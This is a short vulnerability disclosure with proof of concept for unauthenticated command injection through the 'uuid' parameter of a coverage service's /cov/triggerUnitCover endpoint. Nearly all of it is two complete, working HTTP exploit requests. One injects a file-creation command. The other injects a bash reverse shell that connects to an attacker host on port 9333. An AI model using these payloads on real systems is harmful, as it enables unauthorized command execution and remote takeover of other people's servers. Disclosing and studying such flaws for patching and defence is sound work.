Unauthorized attackers can execute any command with triggerUnitCover Interface

[gaogaostone]

When accessing the triggerUnitCover Interface with special request, unauthorized attackers can execute any command on the target system. Attacker can inject command in the parameter uuid.

Proof of concept:

The request with file creation and results are as following.
After sending the payload, wait for a period of time (10 seconds by default). Once the scheduled task is executed, you will find that the file is successfully created.

POST /cov/triggerUnitCover HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 272

{
    "envType":"-Ptest",
  "subModule":"",
"uuid":"123yy || touch /tmp/0407_123 ||",
"gitUrl":"http://x.x.x.x:8080/root/haha.git",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}

The payload for reverse shell and execution results are as following.
After sending the payload, wait for a period of time (10 seconds by default). Once the scheduled task is executed, you will find that the file is successfully created.

POST /cov/triggerUnitCover HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 296

{
    "envType":"-Ptest",
  "subModule":"",
"uuid":"123yy || bash -i >& /dev/tcp/x.x.x.x/9333 0>&1 ||",
"gitUrl":"http://x.x.x.x:8080/root/haha.git",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}